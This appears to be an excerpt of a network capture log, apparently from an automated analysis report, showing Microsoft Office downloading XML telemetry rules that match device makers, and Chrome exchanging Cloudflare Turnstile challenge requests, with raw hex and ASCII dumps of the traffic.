2024-10-07 19:53:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49785	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:13 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: b27116a7-a01e-003d-3a00-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195313Z-1657d5bbd48xlwdx82gahegw40000000047g000000001ky8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49784	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:13 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:13 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 10df1352-f01e-00aa-105a-178521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195313Z-1657d5bbd4824mj9d6vp65b6n40000000460000000009ptb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:13 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49786	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:13 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8cf06f880e728cca/1728330790902/q8sSPEQJANb37H3 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:13 UTC	170	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:13 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8cf06fa3fdb878d0-EWR
2024-10-07 19:53:13 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 17 08 02 00 00 00 7b dd dd 16 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR`{IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49787	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:13 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a62739ea-301e-005d-6402-17e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195313Z-1657d5bbd48wd55zet5pcra0cg00000003x000000000futa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49788	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:13 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: b8f8ddc8-601e-0001-115a-17faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195313Z-1657d5bbd482lxwq1dp2t1zwkc00000003t0000000002t68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49789	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:13 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:13 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: a2d01d3c-801e-0083-4800-17f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195313Z-1657d5bbd48xlwdx82gahegw40000000045g00000000ce9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:13 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49790	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:14 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:14 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4dd19665-401e-005b-7705-179c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195314Z-1657d5bbd48sdh4cyzadbb374800000003ug000000008mxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:14 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49791	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:14 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 151ca1e1-401e-0029-2b03-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195314Z-1657d5bbd48sqtlf1huhzuwq7000000003qg00000000bqvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49792	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:14 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8cf06f880e728cca/1728330790902/q8sSPEQJANb37H3 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:14 UTC	170	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:14 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8cf06fa7ee317c78-EWR
2024-10-07 19:53:14 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 17 08 02 00 00 00 7b dd dd 16 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR`{IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49793	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:14 UTC	925	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/43059607:1728329420:dJcmetAgVMGocae_3f1dALRtljbtG0HRRs5hSvYZXJY/8cf06f880e728cca/3da04d461641d1a HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31368 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 3da04d461641d1a sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:14 UTC	16384	OUT	Data Raw: 76 5f 38 63 66 30 36 66 38 38 30 65 37 32 38 63 63 61 3d 43 57 54 31 32 30 66 72 39 6a 39 6e 74 33 53 52 68 52 44 6a 54 30 6a 66 50 52 71 31 69 79 66 53 66 48 52 36 31 30 6d 52 50 52 50 61 79 52 72 66 43 52 72 79 36 6f 78 34 52 58 38 4b 54 31 67 79 46 24 52 67 31 30 50 6b 52 41 79 30 78 67 6e 48 79 25 32 62 47 52 36 31 31 6e 37 4e 58 34 66 37 52 5a 31 30 38 52 57 24 24 6c 30 52 6e 52 6e 50 44 52 2d 6b 6b 53 47 54 65 54 24 57 30 52 48 31 52 6b 45 52 74 79 30 24 53 53 52 58 31 66 4c 38 33 33 38 52 44 6b 74 52 36 59 48 76 68 6b 6e 52 71 34 52 7a 66 33 4c 67 37 54 47 39 4d 54 52 4a 72 42 4c 46 44 63 6e 76 67 61 47 52 68 59 31 57 63 4d 48 58 52 38 43 46 72 53 72 72 52 6e 37 58 45 7a 38 72 59 32 59 30 75 33 76 4f 47 70 36 4e 2d 70 64 46 62 4a 72 74 71 4f 30 4f Data Ascii: v_8cf06f880e728cca=CWT120fr9j9nt3SRhRDjT0jfPRq1iyfSfHR610mRPRPayRrfCRry6ox4RX8KT1gyF$Rg10PkRAy0xgnHy%2bGR611n7NX4f7RZ108RW$$l0RnRnPDR-kkSGTeT$W0RH1RkERty0$SSRX1fL8338RDktR6YHvhknRq4Rzf3Lg7TG9MTRJrBLFDcnvgaGRhY1WcMHXR8CFrSrrRn7XEz8rY2Y0u3vOGp6N-pdFbJrtqO0O
2024-10-07 19:53:14 UTC	14984	OUT	Data Raw: 39 30 44 52 37 52 68 31 43 6f 52 39 7a 38 52 62 51 77 35 69 39 41 79 30 51 72 34 66 53 52 69 52 38 33 52 42 52 50 61 36 37 52 37 52 68 79 6e 72 66 4e 52 46 39 36 79 52 68 52 58 50 67 74 66 37 58 42 31 38 38 66 64 52 38 52 52 6d 66 4c 39 34 31 33 6d 52 48 52 36 34 36 49 52 4c 52 42 34 30 31 52 79 52 38 31 6e 37 52 2b 52 6a 79 30 31 66 5a 52 4f 64 31 38 52 43 31 4a 4e 38 35 66 4b 35 66 39 38 57 66 63 52 67 64 34 54 66 46 52 6e 35 62 4d 73 61 52 44 47 53 49 24 72 52 63 79 46 24 52 58 52 73 31 4a 52 52 6e 31 41 34 66 52 30 65 52 53 4f 46 57 6e 68 66 34 65 6e 4d 52 73 54 6a 2d 46 32 6c 56 34 50 61 52 38 52 74 52 41 71 52 6d 30 68 52 47 31 66 57 66 5a 79 43 4f 6e 52 66 44 52 4a 52 6e 79 52 6d 52 37 31 66 31 52 50 79 52 79 66 44 49 69 39 52 31 46 6b 66 65 54 53 Data Ascii: 90DR7Rh1CoR9z8RbQw5i9Ay0Qr4fSRiR83RBRPa67R7RhynrfNRF96yRhRXPgtf7XB188fdR8RRmfL9413mRHR646IRLRB401RyR81n7R+Rjy01fZROd18RC1JN85fK5f98WfcRgd4TfFRn5bMsaRDGSI$rRcyF$RXRs1JRRn1A4fR0eRSOFWnhf4enMRsTj-F2lV4PaR8RtRAqRm0hRG1fWfZyCOnRfDRJRnyRmR71f1RPyRyfDIi9R1FkfeTS
2024-10-07 19:53:14 UTC	300	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:14 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26784 Connection: close cf-chl-gen: hewJ1T7wf1UvVReDHIeR8D3huCpBvp7s7g4X7GlZBov8b0DXZ4of17mPot6t6IJWKInJo6hYH+8gXcYC$SG99YQjsmeFPE8kq Server: cloudflare CF-RAY: 8cf06fa7d8bf4356-EWR
2024-10-07 19:53:14 UTC	1069	IN	Data Raw: 67 32 61 55 67 49 6d 59 6a 49 52 73 6a 59 79 4f 62 6e 75 55 6a 5a 6c 2b 6a 71 53 65 5a 70 71 6f 6f 6d 6c 72 6e 36 6c 74 5a 4a 47 6f 72 61 4b 77 69 33 65 30 73 70 57 4a 74 4c 79 54 73 70 35 37 74 37 53 36 74 4a 4f 34 6e 71 4b 62 70 71 71 6b 6e 5a 71 4e 70 74 43 77 72 61 69 72 79 73 7a 5a 74 4e 36 71 31 64 65 36 30 74 72 68 75 64 37 67 77 37 71 71 32 4b 69 6c 31 36 6e 78 37 72 33 64 76 2f 43 74 37 4f 37 52 2b 76 76 34 39 66 4c 31 33 50 6e 57 76 50 77 48 75 4d 62 2b 78 75 41 46 41 74 30 44 79 2b 37 37 79 67 66 50 31 51 77 51 34 68 54 55 39 4e 55 49 31 42 66 64 48 78 66 39 38 2b 34 6b 47 51 72 6c 2b 66 58 6b 49 2f 77 77 42 50 6b 47 45 51 48 6e 4d 76 58 33 39 43 38 45 4b 78 34 6e 43 79 38 50 4d 67 4d 78 41 43 55 5a 53 55 51 48 43 55 6c 41 4b 67 31 53 54 6b 45 Data Ascii: g2aUgImYjIRsjYyObnuUjZl+jqSeZpqoomlrn6ltZJGoraKwi3e0spWJtLyTsp57t7S6tJO4nqKbpqqknZqNptCwrairyszZtN6q1de60trhud7gw7qq2Kil16nx7r3dv/Ct7O7R+vv49fL13PnWvPwHuMb+xuAFAt0Dy+77ygfP1QwQ4hTU9NUI1BfdHxf98+4kGQrl+fXkI/wwBPkGEQHnMvX39C8EKx4nCy8PMgMxACUZSUQHCUlAKg1STkE
